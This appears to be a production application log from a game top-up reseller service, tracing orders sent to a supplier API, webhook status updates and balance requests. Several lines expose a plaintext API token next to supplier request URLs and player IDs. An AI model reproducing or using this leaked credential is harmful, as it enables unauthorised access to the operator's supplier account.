[2026-03-24 12:14:01] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:14:01] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Xwi6ONf1VzFEaFWXg2JeQGLBYR9n0VXn","execution_time":"2026-03-24 12:14:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:14:06] production.INFO: Constructing job for order: 178597  
[2026-03-24 12:14:07] production.INFO: Handling job for order: 178597  
[2026-03-24 12:14:07] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:14:07] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:14:07] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=134&uuid=aaa1bca4-aba8-496e-9daf-399308e9da1a&Player_ID=VEGETA..  
[2026-03-24 12:14:07] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=134&uuid=aaa1bca4-aba8-496e-9daf-399308e9da1a&Player_ID=VEGETA..","has_body":false} 
[2026-03-24 12:14:08] production.INFO: Operation sent successfully {"operation_id":163526,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-pi1-1774343648","amount":2.342086947199999880098175708553753793239593505859375,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 12:14:08"}},"processed_data":{"order_number":"ORD-pi1-1774343648","amount":2.342086947199999880098175708553753793239593505859375,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 12:14:13] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-pi1-1774343648","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:14:13] production.INFO: Processed webhook data (normalized) {"id":"ORD-pi1-1774343648","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:14:13] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:14:13] production.INFO: SendAcceptReject: Notification queued {"user_id":568,"notification_type":"order_approved","reference_id":178597} 
[2026-03-24 12:14:13] production.INFO: Order updated successfully. Order ID: 178597, Status: completed  
[2026-03-24 12:14:13] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-pi1-1774343648","status":"completed","codes_count":0} 
[2026-03-24 12:14:14] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 568  
[2026-03-24 12:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:15:02] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:15:02] production.INFO: Executing GetProducts task...  
[2026-03-24 12:15:04] production.INFO: async() رجع: true  
[2026-03-24 12:15:04] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:15:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:15:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:15:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:16:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03"} 
[2026-03-24 12:16:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","total_operations":2,"sites_count":1} 
[2026-03-24 12:16:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-UQr6BxpX-1774324667","ORD-9Vnn-1774339094"]} 
[2026-03-24 12:16:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:16:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 12:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-9Vnn-1774339094","operation_id":163492} 
[2026-03-24 12:16:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:16:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 12:16:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456,"processed":0,"errors":0} 
[2026-03-24 12:16:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Gjz4gPMju2veRHjodo3M6hP1AwUivex5","execution_time":"2026-03-24 12:16:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-UQr6BxpX-1774324667","operation_id":163456} 
[2026-03-24 12:16:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-UQr6BxpX-1774324667","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:16:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-UQr6BxpX-1774324667","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:16:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:16:19] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":178525} 
[2026-03-24 12:16:19] production.INFO: Order updated successfully. Order ID: 178525, Status: completed  
[2026-03-24 12:16:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-UQr6BxpX-1774324667","status":"completed","codes_count":0} 
[2026-03-24 12:16:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 12:17:01] production.INFO: SendAcceptReject: Notification queued {"user_id":1200,"notification_type":"request_approved","reference_id":18601} 
[2026-03-24 12:17:02] production.INFO: Constructing job for order: 178598  
[2026-03-24 12:17:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1200  
[2026-03-24 12:17:03] production.INFO: Handling job for order: 178598  
[2026-03-24 12:17:03] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:17:03] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:17:03] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2622692d-ed0f-4d91-851b-13440e64a371&Player_ID=52194957381  
[2026-03-24 12:17:03] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=2622692d-ed0f-4d91-851b-13440e64a371&Player_ID=52194957381","has_body":false} 
[2026-03-24 12:17:03] production.ERROR: ❌ Missing required field: order_number for site: swgamessd {"available_fields":["error","message"],"required_fields":["order_number","amount","status"]} 
[2026-03-24 12:17:03] production.ERROR: 🚨 Failed to reject order on parse error {"operation_id":163527,"exception":"Unknown named parameter $userId"} 
[2026-03-24 12:17:03] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1665  
[2026-03-24 12:17:08] production.INFO: SendAcceptReject: Notification queued {"user_id":100,"notification_type":"request_approved","reference_id":18602} 
[2026-03-24 12:17:09] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 100  
[2026-03-24 12:17:14] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"#158100946","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpd7eb95agugi54O49yik"}},"user_id":1771} 
[2026-03-24 12:17:16] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200.0","operation_number":"#158100946","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpgjrqg9h1v5mbaojnV1U"}},"user_id":1771} 
[2026-03-24 12:17:22] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-9Vnn-1774339094","status":"cancelled","notes":[],"codes":[]}} 
[2026-03-24 12:17:22] production.INFO: Processed webhook data (normalized) {"id":"ORD-9Vnn-1774339094","status":"cancelled","codes":[],"notes":[]} 
[2026-03-24 12:17:22] production.INFO: Mapped webhook status {"external_status":"cancelled","mapped_status":3} 
[2026-03-24 12:17:22] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_rejected","reference_id":178561} 
[2026-03-24 12:17:22] production.INFO: Order updated successfully. Order ID: 178561, Status: rejected  
[2026-03-24 12:17:22] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-9Vnn-1774339094","status":"rejected","codes_count":0} 
[2026-03-24 12:17:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 12:17:24] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 12:17:34] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200.0","operation_number":"#158100946","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmkqq1jdh3d366PbMCLW"}},"user_id":1771} 
[2026-03-24 12:17:49] production.INFO: SendAcceptReject: Notification queued {"user_id":298,"notification_type":"request_approved","reference_id":18603} 
[2026-03-24 12:17:51] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 12:17:57] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200.0","operation_number":"#158100946","note":"..","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpsct7pjhepbmo6bmKbbU"}},"user_id":1771} 
[2026-03-24 12:18:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"lfjtHFn3zVjLlgQZcYtFPPDHt32W1zrx","execution_time":"2026-03-24 12:18:03"} 
[2026-03-24 12:18:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"lfjtHFn3zVjLlgQZcYtFPPDHt32W1zrx","execution_time":"2026-03-24 12:18:03"} 
[2026-03-24 12:18:03] production.INFO: SendAcceptReject: Notification queued {"user_id":1292,"notification_type":"request_approved","reference_id":18604} 
[2026-03-24 12:18:05] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"#158100946","note":"..","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phps4vgv3tnoj7p787mmWI"}},"user_id":1771} 
[2026-03-24 12:18:06] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1292  
[2026-03-24 12:18:23] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 12:18:33] production.ERROR: Order Failed: No query results for model [App\Models\Product].  
[2026-03-24 12:19:30] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"#158100946","note":"..","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php181bnnrfm7ihcOeRfrt"}},"user_id":1771} 
[2026-03-24 12:19:59] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1200.0","mainamount":"1200","operation_number":"158100946","note":"..","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpic72a13itjo85Iv5Bti"}},"user_id":1771} 
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 12:20:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 12:20:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18605,"user_id":1771,"amount":1200.0,"admins_notified":7} 
[2026-03-24 12:20:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"hahkzixoddxLvHhaB39GwsF88PMYCeDG","execution_time":"2026-03-24 12:20:04"} 
[2026-03-24 12:20:04] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"hahkzixoddxLvHhaB39GwsF88PMYCeDG","execution_time":"2026-03-24 12:20:04"} 
[2026-03-24 12:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:20:04] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:20:04] production.INFO: Executing GetProducts task...  
[2026-03-24 12:20:06] production.INFO: async() رجع: true  
[2026-03-24 12:20:06] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:20:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:20:07] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:20:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:20:40] production.INFO: Constructing job for order: 178599  
[2026-03-24 12:20:43] production.INFO: Handling job for order: 178599  
[2026-03-24 12:20:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:20:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:20:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=0f9c1717-4c04-44ac-8964-50db1d07df48&Player_ID=54862087  
[2026-03-24 12:20:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/94/params?qty=2500&uuid=0f9c1717-4c04-44ac-8964-50db1d07df48&Player_ID=54862087","has_body":false} 
[2026-03-24 12:20:44] production.INFO: Operation sent successfully {"operation_id":163528,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SOo-1774344044","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill","notes":[],"created_at":"2026-03-24 12:20:44"}},"processed_data":{"order_number":"ORD-SOo-1774344044","amount":4.29478299999999979519316184450872242450714111328125,"status":"processing","product":"Soulchill Amount","game":"SoulChill"}} 
[2026-03-24 12:22:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02"} 
[2026-03-24 12:22:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","total_operations":1,"sites_count":1} 
[2026-03-24 12:22:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-SOo-1774344044"]} 
[2026-03-24 12:22:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:22:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:22:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOo-1774344044","operation_id":163528} 
[2026-03-24 12:22:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOo-1774344044","operation_id":163528,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 12:22:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOo-1774344044","operation_id":163528,"processed":0,"errors":0} 
[2026-03-24 12:22:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"0qLfWlfwSg39PdrpxerWvGJIaFYMB37R","execution_time":"2026-03-24 12:22:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-SOo-1774344044","operation_id":163528} 
[2026-03-24 12:22:10] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SOo-1774344044","status":"completed","notes":["-","جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:22:10] production.INFO: Processed webhook data (normalized) {"id":"ORD-SOo-1774344044","status":"completed","codes":[],"notes":["-","جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:22:10] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:22:10] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178599} 
[2026-03-24 12:22:10] production.INFO: Order updated successfully. Order ID: 178599, Status: completed  
[2026-03-24 12:22:10] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SOo-1774344044","status":"completed","codes_count":0} 
[2026-03-24 12:22:11] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 12:23:09] production.INFO: Constructing job for order: 178600  
[2026-03-24 12:23:12] production.INFO: Handling job for order: 178600  
[2026-03-24 12:23:12] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:23:12] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:23:12] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=e6424e2a-91e9-4ffc-bbcd-a701f8ddf58f&Player_ID=5197148792  
[2026-03-24 12:23:12] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=e6424e2a-91e9-4ffc-bbcd-a701f8ddf58f&Player_ID=5197148792","has_body":false} 
[2026-03-24 12:23:12] production.INFO: Operation sent successfully {"operation_id":163529,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-iBF4N-1774344192","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 12:23:12"}},"processed_data":{"order_number":"ORD-iBF4N-1774344192","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 12:23:40] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-iBF4N-1774344192","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 12:23:40] production.INFO: Processed webhook data (normalized) {"id":"ORD-iBF4N-1774344192","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 12:23:40] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:23:40] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":178600} 
[2026-03-24 12:23:40] production.INFO: Order updated successfully. Order ID: 178600, Status: completed  
[2026-03-24 12:23:40] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-iBF4N-1774344192","status":"completed","codes_count":0} 
[2026-03-24 12:23:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 12:24:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Ya3E9TG6NwIVL28s4FGUMqiy9pD43qX5","execution_time":"2026-03-24 12:24:03"} 
[2026-03-24 12:24:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"Ya3E9TG6NwIVL28s4FGUMqiy9pD43qX5","execution_time":"2026-03-24 12:24:03"} 
[2026-03-24 12:24:55] production.INFO: Constructing job for order: 178601  
[2026-03-24 12:24:57] production.INFO: Handling job for order: 178601  
[2026-03-24 12:24:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 12:24:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 12:24:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/568/params?qty=3700&uuid=3e0ab2d1-62e7-4edd-a2fb-2e5b92c0e1df&Player_ID=36501609  
[2026-03-24 12:24:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/568/params?qty=3700&uuid=3e0ab2d1-62e7-4edd-a2fb-2e5b92c0e1df&Player_ID=36501609","has_body":false} 
[2026-03-24 12:24:58] production.INFO: Operation sent successfully {"operation_id":163530,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-E7npeWfV-1774344298","amount":3.91616140000000001464286469854414463043212890625,"status":"processing","product":"Higo Amount","game":"HigoChat","notes":[],"created_at":"2026-03-24 12:24:58"}},"processed_data":{"order_number":"ORD-E7npeWfV-1774344298","amount":3.91616140000000001464286469854414463043212890625,"status":"processing","product":"Higo Amount","game":"HigoChat"}} 
[2026-03-24 12:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:25:01] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 12:25:01] production.INFO: Executing GetProducts task...  
[2026-03-24 12:25:03] production.INFO: async() رجع: true  
[2026-03-24 12:25:03] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 12:25:03] production.WARNING: Product with ID 395 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 213 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 212 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 211 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 210 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 209 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 214 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 215 not found  
[2026-03-24 12:25:04] production.WARNING: Product with ID 216 not found  
[2026-03-24 12:25:05] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 12:26:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02"} 
[2026-03-24 12:26:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","total_operations":1,"sites_count":1} 
[2026-03-24 12:26:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-E7npeWfV-1774344298"]} 
[2026-03-24 12:26:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 12:26:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 12:26:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-E7npeWfV-1774344298","operation_id":163530} 
[2026-03-24 12:26:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-E7npeWfV-1774344298","operation_id":163530,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 12:26:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-E7npeWfV-1774344298","operation_id":163530,"processed":0,"errors":0} 
[2026-03-24 12:26:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"Px2XFhDBbMueeKEreHoGQL1EdMPtTJe1","execution_time":"2026-03-24 12:26:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-E7npeWfV-1774344298","operation_id":163530} 
[2026-03-24 12:26:05] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-E7npeWfV-1774344298","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 12:26:05] production.INFO: Processed webhook data (normalized) {"id":"ORD-E7npeWfV-1774344298","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 12:26:05] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 12:26:05] production.INFO: SendAcceptReject: Notification queued {"user_id":298,"notification_type":"order_approved","reference_id":178601} 
[2026-03-24 12:26:05] production.INFO: Order updated successfully. Order ID: 178601, Status: completed  
[2026-03-24 12:26:05] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-E7npeWfV-1774344298","status":"completed","codes_count":0} 
[2026-03-24 12:26:05] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 298  
[2026-03-24 12:28:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"wfe5w99RU7Yh7VzPc8IRyeoMiYGX8EMw","execution_time":"2026-03-24 12:28:02"} 
[2026-03-24 12:28:02] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"wfe5w99RU7Yh7VzPc8IRyeoMiYGX8EMw","execution_time":"2026-03-24 12:28:02"} 
[2026-03-24 12:28:26] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 12:29:40] production.INFO: Constructing job for order: 178602  
[2026-03-24 12:29:41] production.INFO: Handling job for order: 178602  
